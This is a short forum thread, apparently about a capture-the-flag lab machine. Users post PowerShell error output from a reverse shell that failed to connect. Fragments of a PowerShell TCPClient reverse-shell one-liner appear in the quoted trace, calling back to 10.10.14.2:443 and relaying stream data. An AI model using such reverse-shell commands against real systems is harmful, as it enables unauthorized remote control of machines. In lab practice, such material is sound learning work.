Starting point machine

Type your comment> @morkcliff said:

Okay so I just tried it again, changed nothing and now I’m getting this…

New-Object : Exception calling “.ctor” with “2” argument(s): "No connection could be made because the target machine

actively refused it 10.10.14.2:443"

At line:1 char:12

  • $client = New-Object System.Net.Sockets.TCPClient(“10.10.14.2”,443); …

  •        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~             
    
    • CategoryInfo : InvalidOperation: (:slight_smile: [New-Object], MethodInvocationException

    • FullyQualifiedErrorId : ConstructorInvokedThrowException,Microsoft.PowerShell.Commands.NewObjectCommand

You cannot call a method on a null-valued expression.

At line:1 char:70

  • … ets.TCPClient(“10.10.14.2”,443);$stream = $client.GetStream();[byte

  •                                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                
    
    • CategoryInfo : InvalidOperation: (:slight_smile: , RuntimeException

    • FullyQualifiedErrorId : InvokeMethodOnNull

You cannot call a method on a null-valued expression.

At line:1 char:138

  • … 65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) …

  •                   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                
    
    • CategoryInfo : InvalidOperation: (:slight_smile: , RuntimeException

    • FullyQualifiedErrorId : InvokeMethodOnNull

You cannot call a method on a null-valued expression.

At line:1 char:464

  • … .Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

  •                                                       ~~~~~~~~~~~~~~~        
    
    • CategoryInfo : InvalidOperation: (:slight_smile: , RuntimeException

    • FullyQualifiedErrorId : InvokeMethodOnNull

NULL

I have your same problem did you find any solution